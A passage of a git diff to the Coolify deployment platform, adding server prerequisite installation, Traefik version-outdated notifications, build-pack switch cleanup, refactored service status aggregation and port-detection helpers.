+                if (version_compare($branchNum, $currentBranch, '>')) {
+                    if (! $newestBranch || version_compare($branchNum, $newestBranch, '>')) {
+                        $newestBranch = $branchNum;
+                    }
+                }
+            }
+
+            return $newestBranch ? "v{$newestBranch}" : null;
+        } catch (\Throwable $e) {
+            return null;
+        }
+    }
 }
diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php
index bbd7f3dd9..c2dcd877b 100644
--- a/app/Livewire/Server/ValidateAndInstall.php
+++ b/app/Livewire/Server/ValidateAndInstall.php
@@ -25,6 +25,8 @@ class ValidateAndInstall extends Component
 
     public $supported_os_type = null;
 
+    public $prerequisites_installed = null;
+
     public $docker_installed = null;
 
     public $docker_compose_installed = null;
@@ -33,12 +35,15 @@ class ValidateAndInstall extends Component
 
     public $error = null;
 
+    public string $installationStep = 'Prerequisites';
+
     public bool $ask = false;
 
     protected $listeners = [
         'init',
         'validateConnection',
         'validateOS',
+        'validatePrerequisites',
         'validateDockerEngine',
         'validateDockerVersion',
         'refresh' => '$refresh',
@@ -48,6 +53,7 @@ public function init(int $data = 0)
     {
         $this->uptime = null;
         $this->supported_os_type = null;
+        $this->prerequisites_installed = null;
         $this->docker_installed = null;
         $this->docker_version = null;
         $this->docker_compose_installed = null;
@@ -69,6 +75,7 @@ public function retry()
         $this->authorize('update', $this->server);
         $this->uptime = null;
         $this->supported_os_type = null;
+        $this->prerequisites_installed = null;
         $this->docker_installed = null;
         $this->docker_compose_installed = null;
         $this->docker_version = null;
@@ -103,6 +110,43 @@ public function validateOS()
 
             return;
         }
+        $this->dispatch('validatePrerequisites');
+    }
+
+    public function validatePrerequisites()
+    {
+        $validationResult = $this->server->validatePrerequisites();
+        $this->prerequisites_installed = $validationResult['success'];
+        if (! $validationResult['success']) {
+            if ($this->install) {
+                if ($this->number_of_tries == $this->max_tries) {
+                    $missingCommands = implode(', ', $validationResult['missing']);
+                    $this->error = "Prerequisites ({$missingCommands}) could not be installed. Please install them manually before continuing.";
+                    $this->server->update([
+                        'validation_logs' => $this->error,
+                    ]);
+
+                    return;
+                } else {
+                    if ($this->number_of_tries <= $this->max_tries) {
+                        $this->installationStep = 'Prerequisites';
+                        $activity = $this->server->installPrerequisites();
+                        $this->number_of_tries++;
+                        $this->dispatch('activityMonitor', $activity->id, 'init', $this->number_of_tries, "{$this->installationStep} Installation Logs");
+                    }
+
+                    return;
+                }
+            } else {
+                $missingCommands = implode(', ', $validationResult['missing']);
+                $this->error = "Prerequisites ({$missingCommands}) are not installed. Please install them before continuing.";
+                $this->server->update([
+                    'validation_logs' => $this->error,
+                ]);
+
+                return;
+            }
+        }
         $this->dispatch('validateDockerEngine');
     }
 
@@ -121,9 +165,10 @@ public function validateDockerEngine()
                     return;
                 } else {
                     if ($this->number_of_tries <= $this->max_tries) {
+                        $this->installationStep = 'Docker';
                         $activity = $this->server->installDocker();
                         $this->number_of_tries++;
-                        $this->dispatch('activityMonitor', $activity->id, 'init', $this->number_of_tries);
+                        $this->dispatch('activityMonitor', $activity->id, 'init', $this->number_of_tries, "{$this->installationStep} Installation Logs");
                     }
 
                     return;
diff --git a/app/Livewire/Settings/Index.php b/app/Livewire/Settings/Index.php
index 13d690352..7a96eabb2 100644
--- a/app/Livewire/Settings/Index.php
+++ b/app/Livewire/Settings/Index.php
@@ -35,12 +35,17 @@ class Index extends Component
     #[Validate('required|string|timezone')]
     public string $instance_timezone;
 
+    #[Validate('nullable|string|max:50')]
+    public ?string $dev_helper_version = null;
+
     public array $domainConflicts = [];
 
     public bool $showDomainConflictModal = false;
 
     public bool $forceSaveDomains = false;
 
+    public $buildActivityId = null;
+
     public function render()
     {
         return view('livewire.settings.index');
@@ -60,6 +65,7 @@ public function mount()
         $this->public_ipv4 = $this->settings->public_ipv4;
         $this->public_ipv6 = $this->settings->public_ipv6;
         $this->instance_timezone = $this->settings->instance_timezone;
+        $this->dev_helper_version = $this->settings->dev_helper_version;
     }
 
     #[Computed]
@@ -81,6 +87,7 @@ public function instantSave($isSave = true)
         $this->settings->public_ipv4 = $this->public_ipv4;
         $this->settings->public_ipv6 = $this->public_ipv6;
         $this->settings->instance_timezone = $this->instance_timezone;
+        $this->settings->dev_helper_version = $this->dev_helper_version;
         if ($isSave) {
             $this->settings->save();
             $this->dispatch('success', 'Settings updated!');
@@ -146,4 +153,37 @@ public function submit()
             return handleError($e, $this);
         }
     }
+
+    public function buildHelperImage()
+    {
+        try {
+            if (! isDev()) {
+                $this->dispatch('error', 'Building helper image is only available in development mode.');
+
+                return;
+            }
+
+            $version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
+            if (empty($version)) {
+                $this->dispatch('error', 'Please specify a version to build.');
+
+                return;
+            }
+
+            $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";
+
+            $activity = remote_process(
+                command: [$buildCommand],
+                server: $this->server,
+                type: 'build-helper-image'
+            );
+
+            $this->buildActivityId = $activity->id;
+            $this->dispatch('activityMonitor', $activity->id);
+
+            $this->dispatch('success', "Building coolify-helper:{$version}...");
+        } catch (\Exception $e) {
+            return handleError($e, $this);
+        }
+    }
 }
diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php
index d97550693..d101d7b58 100644
--- a/app/Livewire/Storage/Form.php
+++ b/app/Livewire/Storage/Form.php
@@ -120,9 +120,16 @@ public function testConnection()
 
             $this->storage->testConnection(shouldSave: true);
 
+            // Update component property to reflect the new validation status
+            $this->isUsable = $this->storage->is_usable;
+
             return $this->dispatch('success', 'Connection is working.', 'Tested with "ListObjectsV2" action.');
         } catch (\Throwable $e) {
-            $this->dispatch('error', 'Failed to create storage.', $e->getMessage());
+            // Refresh model and sync to get the latest state
+            $this->storage->refresh();
+            $this->isUsable = $this->storage->is_usable;
+
+            $this->dispatch('error', 'Failed to test connection.', $e->getMessage());
         }
     }
 
diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php
index bdea9a3b0..fdf3d0d28 100644
--- a/app/Livewire/Storage/Show.php
+++ b/app/Livewire/Storage/Show.php
@@ -3,10 +3,13 @@
 namespace App\Livewire\Storage;
 
 use App\Models\S3Storage;
+use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
 use Livewire\Component;
 
 class Show extends Component
 {
+    use AuthorizesRequests;
+
     public $storage = null;
 
     public function mount()
@@ -15,6 +18,7 @@ public function mount()
         if (! $this->storage) {
             abort(404);
         }
+        $this->authorize('view', $this->storage);
     }
 
     public function render()
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 615e35f68..821c69bca 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -121,6 +121,8 @@ class Application extends BaseModel
 
     protected $casts = [
         'http_basic_auth_password' => 'encrypted',
+        'restart_count' => 'integer',
+        'last_restart_at' => 'datetime',
     ];
 
     protected static function booted()
@@ -174,6 +176,39 @@ protected static function booted()
             if (count($payload) > 0) {
                 $application->forceFill($payload);
             }
+
+            // Buildpack switching cleanup logic
+            if ($application->isDirty('build_pack')) {
+                $originalBuildPack = $application->getOriginal('build_pack');
+
+                // Clear Docker Compose specific data when switching away from dockercompose
+                if ($originalBuildPack === 'dockercompose') {
+                    $application->docker_compose_domains = null;
+                    $application->docker_compose_raw = null;
+
+                    // Remove SERVICE_FQDN_* and SERVICE_URL_* environment variables
+                    $application->environment_variables()
+                        ->where(function ($q) {
+                            $q->where('key', 'LIKE', 'SERVICE_FQDN_%')
+                                ->orWhere('key', 'LIKE', 'SERVICE_URL_%');
+                        })
+                        ->delete();
+                    $application->environment_variables_preview()
+                        ->where(function ($q) {
+                            $q->where('key', 'LIKE', 'SERVICE_FQDN_%')
+                                ->orWhere('key', 'LIKE', 'SERVICE_URL_%');
+                        })
+                        ->delete();
+                }
+
+                // Clear Dockerfile specific data when switching away from dockerfile
+                if ($originalBuildPack === 'dockerfile') {
+                    $application->dockerfile = null;
+                    $application->dockerfile_location = null;
+                    $application->dockerfile_target_build = null;
+                    $application->custom_healthcheck_found = false;
+                }
+            }
         });
         static::created(function ($application) {
             ApplicationSetting::create([
@@ -634,21 +669,23 @@ protected function serverStatus(): Attribute
     {
         return Attribute::make(
             get: function () {
-                if (! $this->relationLoaded('additional_servers') || $this->additional_servers->count() === 0) {
-                    return $this->destination?->server?->isFunctional() ?? false;
+                // Check main server infrastructure health
+                $main_server_functional = $this->destination?->server?->isFunctional() ?? false;
+
+                if (! $main_server_functional) {
+                    return false;
                 }
 
-                $additional_servers_status = $this->additional_servers->pluck('pivot.status');
-                $main_server_status = $this->destination?->server?->isFunctional() ?? false;
-
-                foreach ($additional_servers_status as $status) {
-                    $server_status = str($status)->before(':')->value();
-                    if ($server_status !== 'running') {
-                        return false;
+                // Check additional servers infrastructure health (not container status!)
+                if ($this->relationLoaded('additional_servers') && $this->additional_servers->count() > 0) {
+                    foreach ($this->additional_servers as $server) {
+                        if (! $server->isFunctional()) {
+                            return false;  // Real server infrastructure problem
+                        }
                     }
                 }
 
-                return $main_server_status;
+                return true;
             }
         );
     }
@@ -772,6 +809,24 @@ public function main_port()
         return $this->settings->is_static ? [80] : $this->ports_exposes_array;
     }
 
+    public function detectPortFromEnvironment(?bool $isPreview = false): ?int
+    {
+        $envVars = $isPreview
+            ? $this->environment_variables_preview
+            : $this->environment_variables;
+
+        $portVar = $envVars->firstWhere('key', 'PORT');
+
+        if ($portVar && $portVar->real_value) {
+            $portValue = trim($portVar->real_value);
+            if (is_numeric($portValue)) {
+                return (int) $portValue;
+            }
+        }
+
+        return null;
+    }
+
     public function environment_variables()
     {
         return $this->morphMany(EnvironmentVariable::class, 'resourceable')
diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php
index 4b03c69e1..26cb937b3 100644
--- a/app/Models/ApplicationSetting.php
+++ b/app/Models/ApplicationSetting.php
@@ -7,8 +7,14 @@
 
 class ApplicationSetting extends Model
 {
-    protected $cast = [
+    protected $casts = [
         'is_static' => 'boolean',
+        'is_spa' => 'boolean',
+        'is_build_server_enabled' => 'boolean',
+        'is_preserve_repository_enabled' => 'boolean',
+        'is_container_label_escape_enabled' => 'boolean',
+        'is_container_label_readonly_enabled' => 'boolean',
+        'use_build_secrets' => 'boolean',
         'is_auto_deploy_enabled' => 'boolean',
         'is_force_https_enabled' => 'boolean',
         'is_debug_enabled' => 'boolean',
diff --git a/app/Models/DiscordNotificationSettings.php b/app/Models/DiscordNotificationSettings.php
index 34adfc997..23e1f0f12 100644
--- a/app/Models/DiscordNotificationSettings.php
+++ b/app/Models/DiscordNotificationSettings.php
@@ -29,6 +29,7 @@ class DiscordNotificationSettings extends Model
         'server_reachable_discord_notifications',
         'server_unreachable_discord_notifications',
         'server_patch_discord_notifications',
+        'traefik_outdated_discord_notifications',
         'discord_ping_enabled',
     ];
 
@@ -48,6 +49,7 @@ class DiscordNotificationSettings extends Model
         'server_reachable_discord_notifications' => 'boolean',
         'server_unreachable_discord_notifications' => 'boolean',
         'server_patch_discord_notifications' => 'boolean',
+        'traefik_outdated_discord_notifications' => 'boolean',
         'discord_ping_enabled' => 'boolean',
     ];
 
diff --git a/app/Models/EmailNotificationSettings.php b/app/Models/EmailNotificationSettings.php
index 39617b4cf..ee31a49b6 100644
--- a/app/Models/EmailNotificationSettings.php
+++ b/app/Models/EmailNotificationSettings.php
@@ -36,6 +36,7 @@ class EmailNotificationSettings extends Model
         'scheduled_task_failure_email_notifications',
         'server_disk_usage_email_notifications',
         'server_patch_email_notifications',
+        'traefik_outdated_email_notifications',
     ];
 
     protected $casts = [
@@ -63,6 +64,7 @@ class EmailNotificationSettings extends Model
         'scheduled_task_failure_email_notifications' => 'boolean',
         'server_disk_usage_email_notifications' => 'boolean',
         'server_patch_email_notifications' => 'boolean',
+        'traefik_outdated_email_notifications' => 'boolean',
     ];
 
     public function team()
diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php
index cd1c05de4..62b576012 100644
--- a/app/Models/InstanceSettings.php
+++ b/app/Models/InstanceSettings.php
@@ -2,7 +2,6 @@
 
 namespace App\Models;
 
-use App\Jobs\PullHelperImageJob;
 use Illuminate\Database\Eloquent\Casts\Attribute;
 use Illuminate\Database\Eloquent\Model;
 use Spatie\Url\Url;
@@ -35,14 +34,6 @@ class InstanceSettings extends Model
     protected static function booted(): void
     {
         static::updated(function ($settings) {
-            if ($settings->wasChanged('helper_version')) {
-                Server::chunkById(100, function ($servers) {
-                    foreach ($servers as $server) {
-                        PullHelperImageJob::dispatch($server);
-                    }
-                });
-            }
-
             // Clear trusted hosts cache when FQDN changes
             if ($settings->wasChanged('fqdn')) {
                 \Cache::forget('instance_settings_fqdn_host');
diff --git a/app/Models/PushoverNotificationSettings.php b/app/Models/PushoverNotificationSettings.php
index a75fd71d7..189d05dd4 100644
--- a/app/Models/PushoverNotificationSettings.php
+++ b/app/Models/PushoverNotificationSettings.php
@@ -30,6 +30,7 @@ class PushoverNotificationSettings extends Model
         'server_reachable_pushover_notifications',
         'server_unreachable_pushover_notifications',
         'server_patch_pushover_notifications',
+        'traefik_outdated_pushover_notifications',
     ];
 
     protected $casts = [
@@ -49,6 +50,7 @@ class PushoverNotificationSettings extends Model
         'server_reachable_pushover_notifications' => 'boolean',
         'server_unreachable_pushover_notifications' => 'boolean',
         'server_patch_pushover_notifications' => 'boolean',
+        'traefik_outdated_pushover_notifications' => 'boolean',
     ];
 
     public function team()
diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php
index de27bbca6..47652eb35 100644
--- a/app/Models/S3Storage.php
+++ b/app/Models/S3Storage.php
@@ -3,6 +3,7 @@
 namespace App\Models;
 
 use App\Traits\HasSafeStringAttribute;
+use Illuminate\Database\Eloquent\Casts\Attribute;
 use Illuminate\Database\Eloquent\Factories\HasFactory;
 use Illuminate\Notifications\Messages\MailMessage;
 use Illuminate\Support\Facades\Storage;
@@ -41,6 +42,19 @@ public function awsUrl()
         return "{$this->endpoint}/{$this->bucket}";
     }
 
+    protected function path(): Attribute
+    {
+        return Attribute::make(
+            set: function (?string $value) {
+                if ($value === null || $value === '') {
+                    return null;
+                }
+
+                return str($value)->trim()->start('/')->value();
+            }
+        );
+    }
+
     public function testConnection(bool $shouldSave = false)
     {
         try {
diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php
index 06903ffb6..bada0b7a5 100644
--- a/app/Models/ScheduledTask.php
+++ b/app/Models/ScheduledTask.php
@@ -12,6 +12,14 @@ class ScheduledTask extends BaseModel
 
     protected $guarded = [];
 
+    protected function casts(): array
+    {
+        return [
+            'enabled' => 'boolean',
+            'timeout' => 'integer',
+        ];
+    }
+
     public function service()
     {
         return $this->belongsTo(Service::class);
diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php
index de13fefb0..02fd6917a 100644
--- a/app/Models/ScheduledTaskExecution.php
+++ b/app/Models/ScheduledTaskExecution.php
@@ -8,6 +8,16 @@ class ScheduledTaskExecution extends BaseModel
 {
     protected $guarded = [];
 
+    protected function casts(): array
+    {
+        return [
+            'started_at' => 'datetime',
+            'finished_at' => 'datetime',
+            'retry_count' => 'integer',
+            'duration' => 'decimal:2',
+        ];
+    }
+
     public function scheduledTask(): BelongsTo
     {
         return $this->belongsTo(ScheduledTask::class);
diff --git a/app/Models/Server.php b/app/Models/Server.php
index e39526949..8b153c8ac 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -4,7 +4,9 @@
 
 use App\Actions\Proxy\StartProxy;
 use App\Actions\Server\InstallDocker;
+use App\Actions\Server\InstallPrerequisites;
 use App\Actions\Server\StartSentinel;
+use App\Actions\Server\ValidatePrerequisites;
 use App\Enums\ProxyTypes;
 use App\Events\ServerReachabilityChanged;
 use App\Helpers\SslHelper;
@@ -31,6 +33,51 @@
 use Symfony\Component\Yaml\Yaml;
 use Visus\Cuid2\Cuid2;
 
+/**
+ * @property array{
+ *     current: string,
+ *     latest: string,
+ *     type: 'patch_update'|'minor_upgrade',
+ *     checked_at: string,
+ *     newer_branch_target?: string,
+ *     newer_branch_latest?: string,
+ *     upgrade_target?: string
+ * }|null $traefik_outdated_info Traefik version tracking information.
+ *
+ * This JSON column stores information about outdated Traefik proxy versions on this server.
+ * The structure varies depending on the type of update available:
+ *
+ * **For patch updates** (e.g., 3.5.0 → 3.5.2):
+ * ```php
+ * [
+ *     'current' => '3.5.0',              // Current version (without 'v' prefix)
+ *     'latest' => '3.5.2',               // Latest patch version available
+ *     'type' => 'patch_update',          // Update type identifier
+ *     'checked_at' => '2025-11-14T10:00:00Z',  // ISO8601 timestamp
+ *     'newer_branch_target' => 'v3.6',   // (Optional) Available major/minor version
+ *     'newer_branch_latest' => '3.6.2'   // (Optional) Latest version in that branch
+ * ]
+ * ```
+ *
+ * **For minor/major upgrades** (e.g., 3.5.6 → 3.6.2):
+ * ```php
+ * [
+ *     'current' => '3.5.6',              // Current version
+ *     'latest' => '3.6.2',               // Latest version in target branch
+ *     'type' => 'minor_upgrade',         // Update type identifier
+ *     'upgrade_target' => 'v3.6',        // Target branch (with 'v' prefix)
+ *     'checked_at' => '2025-11-14T10:00:00Z'  // ISO8601 timestamp
+ * ]
+ * ```
+ *
+ * **Null value**: Set to null when:
+ * - Server is fully up-to-date with the latest version
+ * - Traefik image uses the 'latest' tag (no fixed version tracking)
+ * - No Traefik version detected on the server
+ *
+ * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
+ * @see \App\Livewire\Server\Proxy Where this data is read and displayed
+ */
 #[OA\Schema(
     description: 'Server model',
     type: 'object',
@@ -142,6 +189,7 @@ protected static function booted()
 
     protected $casts = [
         'proxy' => SchemalessAttributes::class,
+        'traefik_outdated_info' => 'array',
         'logdrain_axiom_api_key' => 'encrypted',
         'logdrain_newrelic_license_key' => 'encrypted',
         'delete_unused_volumes' => 'boolean',
@@ -167,6 +215,8 @@ protected static function booted()
         'hetzner_server_id',
         'hetzner_server_status',
         'is_validating',
+        'detected_traefik_version',
+        'traefik_outdated_info',
     ];
 
     protected $guarded = [];
@@ -522,6 +572,11 @@ public function scopeWithProxy(): Builder
         return $this->proxy->modelScope();
     }
 
+    public function scopeWhereProxyType(Builder $query, string $proxyType): Builder
+    {
+        return $query->where('proxy->type', $proxyType);
+    }
+
     public function isLocalhost()
     {
         return $this->ip === 'host.docker.internal' || $this->id === 0;
@@ -1131,6 +1186,21 @@ public function installDocker()
         return InstallDocker::run($this);
     }
 
+    /**
+     * Validate that required commands are available on the server.
+     *
+     * @return array{success: bool, missing: array<string>, found: array<string>}
+     */
+    public function validatePrerequisites(): array
+    {
+        return ValidatePrerequisites::run($this);
+    }
+
+    public function installPrerequisites()
+    {
+        return InstallPrerequisites::run($this);
+    }
+
     public function validateDockerEngine($throwError = false)
     {
         $dockerBinary = instant_remote_process(['command -v docker'], $this, false, no_sudo: true);
diff --git a/app/Models/Service.php b/app/Models/Service.php
index c4b8623e0..2f8a64464 100644
--- a/app/Models/Service.php
+++ b/app/Models/Service.php
@@ -3,6 +3,7 @@
 namespace App\Models;
 
 use App\Enums\ProcessStatus;
+use App\Services\ContainerStatusAggregator;
 use App\Traits\ClearsGlobalSearchCache;
 use App\Traits\HasSafeStringAttribute;
 use Illuminate\Database\Eloquent\Casts\Attribute;
@@ -173,6 +174,21 @@ public function deleteConnectedNetworks()
         instant_remote_process(["docker network rm {$this->uuid}"], $server, false);
     }
 
+    /**
+     * Calculate the service's aggregate status from its applications and databases.
+     *
+     * This method aggregates status from Eloquent model relationships (not Docker containers).
+     * It differs from the CalculatesExcludedStatus trait which works with Docker container objects
+     * during container inspection. This accessor runs on-demand for UI display and works with
+     * already-stored status strings from the database.
+     *
+     * Status format: "{status}:{health}" or "{status}:{health}:excluded"
+     * - Status values: running, exited, degraded, starting, paused, restarting
+     * - Health values: healthy, unhealthy, unknown
+     * - :excluded suffix: Indicates all containers are excluded from health monitoring
+     *
+     * @return string The aggregate status in format "status:health" or "status:health:excluded"
+     */
     public function getStatusAttribute()
     {
         if ($this->isStarting()) {
@@ -182,71 +198,102 @@ public function getStatusAttribute()
         $applications = $this->applications;
         $databases = $this->databases;
 
-        $complexStatus = null;
-        $complexHealth = null;
+        [$complexStatus, $complexHealth, $hasNonExcluded] = $this->aggregateResourceStatuses(
+            $applications,
+            $databases,
+            excludedOnly: false
+        );
 
-        foreach ($applications as $application) {
-            if ($application->exclude_from_status) {
-                continue;
+        // If all services are excluded from status checks, calculate status from excluded containers
+        // but mark it with :excluded to indicate monitoring is disabled
+        if (! $hasNonExcluded && ($complexStatus === null && $complexHealth === null)) {
+            [$excludedStatus, $excludedHealth] = $this->aggregateResourceStatuses(
+                $applications,
+                $databases,
+                excludedOnly: true
+            );
+
+            // Return status with :excluded suffix to indicate monitoring is disabled
+            if ($excludedStatus && $excludedHealth) {
+                return "{$excludedStatus}:{$excludedHealth}:excluded";
             }
-            $status = str($application->status)->before('(')->trim();
-            $health = str($application->status)->between('(', ')')->trim();
-            if ($complexStatus === 'degraded') {
-                continue;
-            }
-            if ($status->startsWith('running')) {
-                if ($complexStatus === 'exited') {
-                    $complexStatus = 'degraded';
-                } else {
-                    $complexStatus = 'running';
-                }
-            } elseif ($status->startsWith('restarting')) {
-                $complexStatus = 'degraded';
-            } elseif ($status->startsWith('exited')) {
-                $complexStatus = 'exited';
-            }
-            if ($health->value() === 'healthy') {
-                if ($complexHealth === 'unhealthy') {
-                    continue;
-                }
-                $complexHealth = 'healthy';
-            } else {
-                $complexHealth = 'unhealthy';
+
+            // If no status was calculated at all (no containers exist), return unknown
+            if ($excludedStatus === null && $excludedHealth === null) {
+                return 'unknown:unknown:excluded';
             }
+
+            return 'exited';
         }
-        foreach ($databases as $database) {
-            if ($database->exclude_from_status) {
-                continue;
-            }
-            $status = str($database->status)->before('(')->trim();
-            $health = str($database->status)->between('(', ')')->trim();
-            if ($complexStatus === 'degraded') {
-                continue;
-            }
-            if ($status->startsWith('running')) {
-                if ($complexStatus === 'exited') {
-                    $complexStatus = 'degraded';
-                } else {
-                    $complexStatus = 'running';
-                }
-            } elseif ($status->startsWith('restarting')) {
-                $complexStatus = 'degraded';
-            } elseif ($status->startsWith('exited')) {
-                $complexStatus = 'exited';
-            }
-            if ($health->value() === 'healthy') {
-                if ($complexHealth === 'unhealthy') {
-                    continue;
-                }
-                $complexHealth = 'healthy';
-            } else {
-                $complexHealth = 'unhealthy';
-            }
+
+        // If health is null/empty, return just the status without trailing colon
+        if ($complexHealth === null || $complexHealth === '') {
+            return $complexStatus;
         }
 
         return "{$complexStatus}:{$complexHealth}";
     }
 
+    /**
+     * Aggregate status and health from collections of applications and databases.
+     *
+     * This helper method consolidates status aggregation logic using ContainerStatusAggregator.
+     * It processes container status strings stored in the database (not live Docker data).
+     *
+     * @param  \Illuminate\Database\Eloquent\Collection  $applications  Collection of Application models
+     * @param  \Illuminate\Database\Eloquent\Collection  $databases  Collection of Database models
+     * @param  bool  $excludedOnly  If true, only process excluded containers; if false, only process non-excluded
+     * @return array{0: string|null, 1: string|null, 2?: bool} [status, health, hasNonExcluded (only when excludedOnly=false)]
+     */
+    private function aggregateResourceStatuses($applications, $databases, bool $excludedOnly = false): array
+    {
+        $hasNonExcluded = false;
+        $statusStrings = collect();
+
+        // Process both applications and databases using the same logic
+        $resources = $applications->concat($databases);
+
+        foreach ($resources as $resource) {
+            $isExcluded = $resource->exclude_from_status || str($resource->status)->contains(':excluded');
+
+            // Filter based on excludedOnly flag
+            if ($excludedOnly && ! $isExcluded) {
+                continue;
+            }
+            if (! $excludedOnly && $isExcluded) {
+                continue;
+            }
+
+            if (! $excludedOnly) {
+                $hasNonExcluded = true;
+            }
+
+            // Strip :excluded suffix before aggregation (it's in the 3rd part of "status:health:excluded")
+            $status = str($resource->status)->before(':excluded')->toString();
+            $statusStrings->push($status);
+        }
+
+        // If no status strings collected, return nulls
+        if ($statusStrings->isEmpty()) {
+            return $excludedOnly ? [null, null] : [null, null, $hasNonExcluded];
+        }
+
+        // Use ContainerStatusAggregator service for state machine logic
+        $aggregator = new ContainerStatusAggregator;
+        $aggregatedStatus = $aggregator->aggregateFromStrings($statusStrings);
+
+        // Parse the aggregated "status:health" string
+        $parts = explode(':', $aggregatedStatus);
+        $status = $parts[0] ?? null;
+        $health = $parts[1] ?? null;
+
+        if ($excludedOnly) {
+            return [$status, $health];
+        }
+
+        return [$status, $health, $hasNonExcluded];
+    }
+
     public function extraFields()
     {
         $fields = collect([]);
@@ -1184,6 +1231,31 @@ public function documentation()
         return data_get($service, 'documentation', config('constants.urls.docs'));
     }
 
+    /**
+     * Get the required port for this service from the template definition.
+     */
+    public function getRequiredPort(): ?int
+    {
+        try {
+            $services = get_service_templates();
+            $serviceName = str($this->name)->beforeLast('-')->value();
+            $service = data_get($services, $serviceName, []);
+            $port = data_get($service, 'port');
+
+            return $port ? (int) $port : null;
+        } catch (\Throwable) {
+            return null;
+        }
+    }
+
+    /**
+     * Check if this service requires a port to function correctly.
+     */
+    public function requiresPort(): bool
+    {
+        return $this->getRequiredPort() !== null;
+    }
+
     public function applications()
     {
         return $this->hasMany(ServiceApplication::class);
@@ -1262,6 +1334,11 @@ public function workdir()
 
     public function saveComposeConfigs()
     {
+        // Guard against null or empty docker_compose
+        if (! $this->docker_compose) {
+            return;
+        }
+
         $workdir = $this->workdir();
 
         instant_remote_process([
diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php
index 5cafc9042..aef74b402 100644
--- a/app/Models/ServiceApplication.php
+++ b/app/Models/ServiceApplication.php
@@ -109,6 +109,11 @@ public function fileStorages()
         return $this->morphMany(LocalFileVolume::class, 'resource');
     }
 
+    public function environment_variables()
+    {
+        return $this->morphMany(EnvironmentVariable::class, 'resourceable');
+    }
+
     public function fqdns(): Attribute
     {
         return Attribute::make(
@@ -118,6 +123,53 @@ public function fqdns(): Attribute
         );
     }
 
+    /**
+     * Extract port number from a given FQDN URL.
+     * Returns null if no port is specified.
+     */
+    public static function extractPortFromUrl(string $url): ?int
+    {
+        try {
+            // Ensure URL has a scheme for proper parsing
+            if (! str_starts_with($url, 'http://') && ! str_starts_with($url, 'https://')) {
+                $url = 'http://'.$url;
+            }
+
+            $parsed = parse_url($url);
+            $port = $parsed['port'] ?? null;
+
+            return $port ? (int) $port : null;
+        } catch (\Throwable) {
+            return null;
+        }
+    }
+
+    /**
+     * Check if all FQDNs have a port specified.
+     */
+    public function allFqdnsHavePort(): bool
+    {
+        if (is_null($this->fqdn) || $this->fqdn === '') {
+            return false;
+        }
+
+        $fqdns = explode(',', $this->fqdn);
+
+        foreach ($fqdns as $fqdn) {
+            $fqdn = trim($fqdn);
+            if (empty($fqdn)) {
+                continue;
+            }
+
+            $port = self::extractPortFromUrl($fqdn);
+            if ($port === null) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
     public function getFilesFromServer(bool $isInit = false)
     {
         getFilesystemVolumesFromServer($this, $isInit);
@@ -127,4 +179,78 @@ public function isBackupSolutionAvailable()
     {
         return false;
     }
+
+    /**
+     * Get the required port for this service application.
+     * Extracts port from SERVICE_URL_* or SERVICE_FQDN_* environment variables
+     * stored at the Service level, filtering by normalized container name.
+     * Falls back to service-level port if no port-specific variable is found.
+     */
+    public function getRequiredPort(): ?int
+    {
+        try {
+            // Parse the Docker Compose to find SERVICE_URL/SERVICE_FQDN variables DIRECTLY DECLARED
+            // for this specific service container (not just referenced from other containers)
+            $dockerComposeRaw = data_get($this->service, 'docker_compose_raw');
+            if (! $dockerComposeRaw) {
+                // Fall back to service-level port if no compose file
+                return $this->service->getRequiredPort();
+            }
+
+            $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw);
+            $serviceConfig = data_get($dockerCompose, "services.{$this->name}");
+            if (! $serviceConfig) {
+                return $this->service->getRequiredPort();
+            }
+
+            $environment = data_get($serviceConfig, 'environment', []);
+
+            // Extract SERVICE_URL and SERVICE_FQDN variables DIRECTLY DECLARED in this service's environment
+            // (not variables that are merely referenced with ${VAR} syntax)
+            $portFound = null;
+            foreach ($environment as $key => $value) {
+                if (is_int($key) && is_string($value)) {
+                    // List-style: "- SERVICE_URL_APP_3000" or "- SERVICE_URL_APP_3000=value"
+                    // Extract variable name (before '=' if present)
+                    $envVarName = str($value)->before('=')->trim();
+
+                    // Only process direct declarations
+                    if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                        // Parse to check if it has a port suffix
+                        $parsed = parseServiceEnvironmentVariable($envVarName->value());
+                        if ($parsed['has_port'] && $parsed['port']) {
+                            // Found a port-specific variable for this service
+                            $portFound = (int) $parsed['port'];
+                            break;
+                        }
+                    }
+                } elseif (is_string($key)) {
+                    // Map-style: "SERVICE_URL_APP_3000: value" or "SERVICE_FQDN_DB: localhost"
+                    $envVarName = str($key);
+
+                    // Only process direct declarations
+                    if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
+                        // Parse to check if it has a port suffix
+                        $parsed = parseServiceEnvironmentVariable($envVarName->value());
+                        if ($parsed['has_port'] && $parsed['port']) {
+                            // Found a port-specific variable for this service
+                            $portFound = (int) $parsed['port'];
+                            break;
+                        }
+                    }
+                }
+            }
+
+            // If a port was found in the template, return it
+            if ($portFound !== null) {
+                return $portFound;
+            }
+
+            // No port-specific variables found for this service, return null
+            // (DO NOT fall back to service-level port, as that applies to all services)
+            return null;
+        } catch (\Throwable $e) {
+            return null;
+        }
+    }
 }
diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php
index d595721d8..3a249059c 100644
--- a/app/Models/ServiceDatabase.php
